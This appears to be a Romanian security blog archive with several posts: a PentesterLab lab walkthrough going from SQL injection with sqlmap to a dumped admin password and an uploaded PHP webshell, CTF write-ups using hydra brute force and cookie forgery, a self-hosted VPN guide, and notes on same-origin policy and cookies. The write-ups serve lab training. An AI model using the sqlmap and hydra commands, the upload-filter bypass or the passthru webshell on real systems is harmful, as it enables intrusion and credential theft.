Category Archives: Securitate

PentesterLab – From SQL Injection to Shell

https://pentesterlab.com/exercises/from_sqli_to_shell/course

Note: there are tons of methods to solve it 🙂 I tried the fastest one. Doing everything by “hand” (no tools) will bring the best learning experience, of course.

We have the VM .. now what?

Find its IP :))
Start it, then go to the host and:
nmap -v 10.42.0.* -p 80

Nmap scan report for 10.42.0.6
Host is up (0.00043s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

(the VM was set with bridged adapter).

Open it in the browser now. Clicking around will show us a first GET parameter: http://10.42.0.6/cat.php?id=1

Playing with it (add ‘ for example after 1) will generate the known SQL error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1

What does that tell us? 😀 .. sqlmap
(of course we can run sqlmap -a -u URL for everything) but for the sake of the exercise lets see it step by step):

sqlmap –tables -u http://10.42.0.6/cat.php?id=1

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.1#stable}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 08:59:27

[08:59:27] [INFO] resuming back-end DBMS 'mysql' 
[08:59:27] [INFO] testing connection to the target URL
[08:59:27] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 6749=6749

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 3352 FROM(SELECT COUNT(*),CONCAT(0x716b767871,(SELECT (ELT(3352=3352,1))),0x7171787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x716b767871,0x485a735a576b785743455145644767476f454b4d667a4d51696679697a4858597976465852676e4b,0x7171787071),NULL-- pFAj
---
[08:59:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0
[08:59:27] [INFO] fetching database names
[08:59:27] [INFO] fetching tables for databases: 'information_schema, photoblog'
Database: photoblog
[3 tables]
+---------------------------------------+
| categories                            |
| pictures                              |
| users                                 |
+---------------------------------------+

Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+

[08:59:27] [INFO] fetched data logged to text files under '/home/unknown/.sqlmap/output/10.42.0.6'

[*] shutting down at 08:59:27

Yuppy, we can the ‘users’ table 🙂 .. lets go for an account.

sqlmap –dump photoblog -u http://10.42.0.6/cat.php?id=1

        ___
       __H__
 ___ ___[']_____ ___ ___  {1.1#stable}
|_ -| . [,]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 09:02:52

[09:02:52] [INFO] resuming back-end DBMS 'mysql' 
[09:02:52] [INFO] testing connection to the target URL
[09:02:52] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 6749=6749

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 3352 FROM(SELECT COUNT(*),CONCAT(0x716b767871,(SELECT (ELT(3352=3352,1))),0x7171787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x716b767871,0x485a735a576b785743455145644767476f454b4d667a4d51696679697a4858597976465852676e4b,0x7171787071),NULL-- pFAj
---
[09:02:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0
[09:02:52] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[09:02:52] [INFO] fetching current database
[09:02:52] [INFO] fetching tables for database: 'photoblog'
[09:02:52] [INFO] fetching columns for table 'pictures' in database 'photoblog'
[09:02:52] [INFO] fetching entries for table 'pictures' in database 'photoblog'
[09:02:52] [INFO] analyzing table dump for possible password hashes
Database: photoblog
Table: pictures
[3 entries]
+----+-------------+-----+---------+
| id | img         | cat | title   |
+----+-------------+-----+---------+
| 1  | hacker.png  | 2   | Hacker  |
| 2  | ruby.jpg    | 1   | Ruby    |
| 3  | cthulhu.png | 1   | Cthulhu |
+----+-------------+-----+---------+

[09:02:52] [INFO] table 'photoblog.pictures' dumped to CSV file '/home/unknown/.sqlmap/output/10.42.0.6/dump/photoblog/pictures.csv'
[09:02:52] [INFO] fetching columns for table 'users' in database 'photoblog'
[09:02:52] [INFO] fetching entries for table 'users' in database 'photoblog'
[09:02:52] [INFO] analyzing table dump for possible password hashes
[09:02:52] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to crack them via a dictionary-based attack? [Y/n/q] 
[09:02:57] [INFO] using hash method 'md5_generic_passwd'
[09:02:57] [INFO] resuming password 'P4ssw0rd' for hash '8efe310f9ab3efeae8d410a8e0166eb2' for user 'admin'
[09:02:57] [INFO] postprocessing table dump
Database: photoblog
Table: users
[1 entry]
+----+-------+---------------------------------------------+
| id | login | password                                    |
+----+-------+---------------------------------------------+
| 1  | admin | 8efe310f9ab3efeae8d410a8e0166eb2 (P4ssw0rd) |
+----+-------+---------------------------------------------+

[09:02:57] [INFO] table 'photoblog.users' dumped to CSV file '/home/unknown/.sqlmap/output/10.42.0.6/dump/photoblog/users.csv'
[09:02:57] [INFO] fetching columns for table 'categories' in database 'photoblog'
[09:02:57] [INFO] fetching entries for table 'categories' in database 'photoblog'
[09:02:57] [INFO] analyzing table dump for possible password hashes
Database: photoblog
Table: categories
[3 entries]
+----+--------+
| id | title  |
+----+--------+
| 1  | test   |
| 2  | ruxcon |
| 3  | 2010   |
+----+--------+

[09:02:57] [INFO] table 'photoblog.categories' dumped to CSV file '/home/unknown/.sqlmap/output/10.42.0.6/dump/photoblog/categories.csv'
[09:02:57] [INFO] fetched data logged to text files under '/home/unknown/.sqlmap/output/10.42.0.6'

[*] shutting down at 09:02:57

So the account is admin / P4ssw0rd. (md5, no salt)

Note: if sqlmap can’t break the password, use the online tools OR https://github.com/Talanor/findmyhash or whatever else you prefer.

After logging in to the admin side we see an upload field here: http://10.42.0.6/admin/new.php so .. that tells us how to get to the shell .. by uploading a script (webshell).
The easiest one, considering we are running Apache + PHP is .. using exec/passthru/system, whatever you like 🙂

<?php passthru ($_REQUEST['cmd']); ?>

But we will see that it doesn’t allow .php files to be uploaded so try with .php3, .php5 and then access it with the GET/POST parameter payload you want, example:

http://10.42.0.6/admin/uploads/ffff.php3?cmd=whoami

For nicer webshells, check this one out:

https://github.com/epinna/weevely3

Security Espresso – Challenge for def.camp tickets

I found the flag pretty easy but, sadly, out of 9 other people that solved it .. random.org did not like me that much :))

Here is a writeup for the challenge.

It all started with a FB post and a promise I made with myself .. never go to paid security conferences if I don’t get there by free  : and here it was .. a simple form:

First thing, first was to test with a random email and password so I can catch errors and so on. The first error was about a wrong username so I took the emails present on the same page and tried them until I found the correct one, then started hydra to brute force it (well, I haven’t seen the hints so I tried it with another dictionary at first).

hydra -l contact@security.security -P rockyou.txt 45.76.95.148 -s 5000 http-post-form “/:email=^USER^&password=^PASS^&submit=fdf:F=Wrong password!” -vV -t 32 -f

After getting access to the system, there was a hint in the text itself so I tried to see a point so I can increase the level from 0 to 10 to see what happens. There were no endpoints so … hmm .. looked in the cookies, found one that was looking like an md5 string so I used a “decrypt” website and it was “0” … LOL, all I had to do was to md5(“10”) then replace the cookie content and that was all 🙂

 

CTF : 2018 : ReplyCTF : Web : CAPTCHAFLAG

Datele problemei:

M-am uitat in codul sursa si am vazut :
<!– HACKED VUVkYWRtTnRNR2RaVjA0d1lWYzVkVkJUU1hWTWVVa3JVRWRzZFdOSVZqQkpTRkkxWTBkVk9VbHVUakZaYlRGd1pFTkpaMkp0Um5SYVZEQnBZME5KWjJSdFJuTmtWMVU1U1cxNGRtSkRTV2RRYW5kMllWYzFkMlJZVVNzPQ== –>

Cand vad “=” imi sare gandul automat la base64 .. am folosit de 3 ori un decoder pentru el si am dat de stringul initial:

<form action=”./”><input type=”submit” name=”p” value=”lol” ></input> 

Am apelat URL-ul ?p=lol si am observat ca cele 3 imagini cu numere se schimba .. sunt intre 1 si 15 si .. in codul sursa se observa ca tot base64 e numele lor 🙂

Le-am luat pe toate 15 in ordine crescatoare si a reiesit stringul ..
Q29tZSBvbiBpdCBIHRvIG92ZXJjb214gY29uZ3JhdHVsYXRpb25zLCB5b3UndmUgZm91bmQgdGhlIGZpcnN0IGZsYWc6CntGTEc6MVRzNEwwTmdXNHlUMDdoM1QwcDFmWTBVVzRuTjRSMGNLblIwTEx9Ck5vdyB3aWxsIHlvdSBiZSBhYmxlIHRvIG92ZXJjb21lIHRoZSBuZXh0IGxldmVsPyA7KQ==

Pus tot pe base64decode.org ..
Come on it Hݙ\^ congratulations, you’ve found the first flag:
{FLG:1Ts4L0NgW4yT07h3T0p1fY0UW4nN4R0cKnR0LL}
Now will you be able to overcome the next level? 😉

Yuppy .. we have the flag 🙂 That was all folks!

Browsing (mai) sigur – Cum sa ai propriul tau VPN

Acum ceva timp am vorbit despre serviciile de VPN aici: https://www.nekhbet.ro/2018/09/21/vpn-panaceul-securitatii.html .

Ok, la ce e necesar propriul meu serviciu de VPN daca tot nu e 100% sigur? Pai nimic nu e 100% sigur dar avantajele sa avem propriul nostru serviciu de VPN sunt:

  • te poti conecta securizat de pe orice tip de conexiune (chiar si daca e un WiFi open (fara parola) sau e dintr-un bar/loc necunoscut)
  • ai un alt IP decat cel de acasa (la unele lucruri e util, la altele ba .. asta intr-un articol viitor “Cum sa fi (mai) invizibil pe internet”)
  • logurile nu le mai are nimeni, doar tu .. depinde de tine ce faci cu ele 🙂 (folosind un serviciu de VPN externalizat nu ai nicio certitudine ca tin sau nu loguri, desi legal/logic vorbind .. e cam improbabil sa nu le tina)
  • mult mai ieftin, pe https://www.hetzner.com/cloud e 2.5 euro / luna cel mai ieftin VPS (virtual private server, pe el va fi instalat serverul nostru de VPN)

PS: Nimeni nu poate garanta niciodata ca daca faci tampenii nu vei fi prins :). “Extrem de putin probabil” e diferit de “niciodata”.

Ok, daca esti convins .. o sa pun pas cu pas ce trebuie facut pentru hetzner. Pentru alte servicii pasii ar trebui sa fie cam la fel, dati-mi un mesaj daca aveti nevoie de ajutor cu ceva.

  1. Cumparare VPS LOL .. cel mai ieftin e si cel mai bun in cazul nostru .. un server de VPS nu are nevoie de cerinte mari si traficul de 20TB e .. sa zicem asa .. 660 GB / zi :)) pentru tot blocul de 10 etaje cu mai multe scari suficient. Eu, ca preferinta, am ales Ubuntu latest, in momentul asta e 18.04.
  2. Te conectezi la el cu Putty (windows guys) sau terminalul din linux
    ssh root@IP
    unde IP e IP-ul alocat VPS-ului tau.
  3. Ok, suntem pe el .. urmatoarele 2 comenzi sa ajungem la zi cu actualizarile de sistem
    apt update
    apt upgrade
  4. Avem de ales intre mai multe servere de VPN, dar OpenVPN pare solutia ideala. Pentru instalare urmati acest tutorial: https://www.cyberciti.biz/faq/howto-setup-openvpn-server-on-ubuntu-linux-14-04-or-16-04-lts/ , cu exceptia ca la “Find your public IP address” noi stim deja adresa IP de pe interfata externa 🙂 . Recomand alegerea “TCP” ca protocol, e putin mai incet dar mult mai sigur ca si integritate a datelor si a “Google” ca si resolver de DNS. De fapt .. daca nu va intereseaza in detaliu, tot tutorialul de mai sus inseamna doar 3 comenzi (rulati una cate una):
    wget https://git.io/vpn -O openvpn-install.sh
    bash openvpn-install.sh
    rm openvpn-install.sh
  5. Asta a fost tot, serverul e instalat. Felicitari!
  6. Mai trebuie sa ne configuram si pe local (client, adica calculatorul/deviceul de acasa) sa ne conectam la serverul de VPN 🙂
    Instalarea s-a incheiat printre ultimele linii cu ceva de genul:
    “Your client configuration is available at: /root/client.ovpn”
    Asa ca trebuie sa copiem acest fisier pe calculatorul/device-ul client: ori prin WinSCP (pentru cei cu Windows) ori cu “scp” pentru cei cu Linux.
    scp root@IP:/root/client.ovpn ./
    Acum sa configuram clientul in sinea lui, reteta pentru Linux/Ubuntu/Debian:
    sudo su (doar daca nu suntem deja root, daca suntem deja e redundanta si nu face nimic)
    apt install openvpn resolvconf
    daca comanda de mai sus da orice eroare: apt install -f si apoi iarasi
    apt install openvpn resolvconf
    Acum avem instalat clientul de openvpn si ii rescriem configurarile cu fisierul nostru de pe server:
    cp client.ovpn /etc/openvpn/client.conf
    E aproape gata 🙂 Porniti serviciul /etc/init.d/openvpn start
    Dati un restart si … deschideti browserul in incognito mode/private browsing (chrome sau firefox) si https://www.whatismyip.com/ , ar trebui sa apareti ca nemti sau finlandezi :)Orice sugestie e binevenita 🙂

WebSec – Same-Origin Policy (SOP)

Este un concept important din modelul de securitate al aplicatiilor web. Adica .. un browser permite scripturilor dintr-o pagina X sa acceseze datele dintr-o pagina Y DOAR daca ambele au aceiasi origine (hostname, port, protocol).

Exemplu de ce s-ar intampla daca nu ar exista SOP .. intri pe acest site, da? Eu scriu un script care ar face un request POST la facebook.com si in numele tau as scrie “Vedeti site-ul lui Sorin!”. Ar fi misto nu? :))

Binenteles .. SOP se aplica doar requesturilor din scripturi si fonturilor. Fisierele “statice” (imagini, media, CSS, alte scripturi JS incarcate prin <script> etc) sunt exceptate.

Din cauza acestor restrictii au aparut metode valide pentru a face bypass:

  • “document.domain” property din javascript
  • Cross-Origin Resource Sharing (CORS)
  • Cross-document messaging via “postMessage” din javascript, un exemplu frumos: http://jsfiddle.net/bmknight/A7YfK/
  • JSONP
  • WebSockets

Despre ele in urmatoarele articole 🙂

Bibliografie:
https://en.wikipedia.org/wiki/Same-origin_policy
https://tools.ietf.org/html/rfc6454

WebSec – Cookies

Cateva lucruri/concepte:

  • Acces cookieuri

Sa definim niste termeni:
Avem domain.com – domeniul de baza/root
test1.domain.com si test2.domain.com – subdomenii nivel 1 ale domain.com
a.test1.domain.com – subdomeniu nivel 2 al test1.domain.com

1. Un cookie setat pe domeniul principal domain.com este accesibil TUTUROR subdomenilor sale, indiferent de nivel
2. Un cookie setat pe test1.domain.com este accesibil TUTUROR subdomenilor sale, indiferent de nivel (ca mai sus) DAR nu este accesibil celorlalte subdomenii de pe acelasi nivel cu el insusi (deci test2.domain.com nu poate citi acest cookie).
3. O aplicatie poate seta cookieuri: (sub)domeniului pe care ruleaza, tuturor subdomeniilor sale SI parintelui sau.
Deci: de pe test1.domain.com putem seta cookieuri: test1.domain.com, domain.com si a.test1.domain.com

 

  • Flaguri
  1. secure … accesibile doar prin https
  2. http-only .. inaccesibile din limbaje client-side (javascript)

CTF – Pregatire sistem

M-am tot gandit (in timp ce mergeam pe strada :)) ) si cred ca, solutia ideala momentan, este o masina virtuala. De ce? Pai … o poti muta de pe un laptop pe altul foarte usor, instalezi virtualbox, copiezi fisierul si asta e tot + poti face backup/restore extrem de usor (e un singur fisier totul, nu?).

Ca sistem de operare am ales Lubuntu (https://lubuntu.net/downloads/) .. mult mai putine resurse necesare decat Ubuntu. De ce nu o versiune mai de “doamne-ajuta”? Pai .. sunt pline de tot felul de tool-uri inutile mie (sunt interesat de partea de web, nu RE, crypto and so on) + multe alte motive ce tin de incredere.

Ca browsere folosesc Chrome/ium pentru partea de browsing normala si Firefox pentru a-l folosi cu Burp (https://portswigger.net/burp/communitydownload) + Firebug. 2 browsere sunt mai ok pentru ca nu mai stai sa tot activezi/dezactivezi setarile de proxy + nu-mi place sa am add-onuri (stiu, sunt add-onuri pentru enable/disable proxy-uri).

O sa tot adaug chestii instalate cu fiecare CTF la care particip, in functie de nevoi, nu doar asa sa am cat mai multe tool-uri 😛

!!! Orice sugestie e mai mult decat binevenita !!!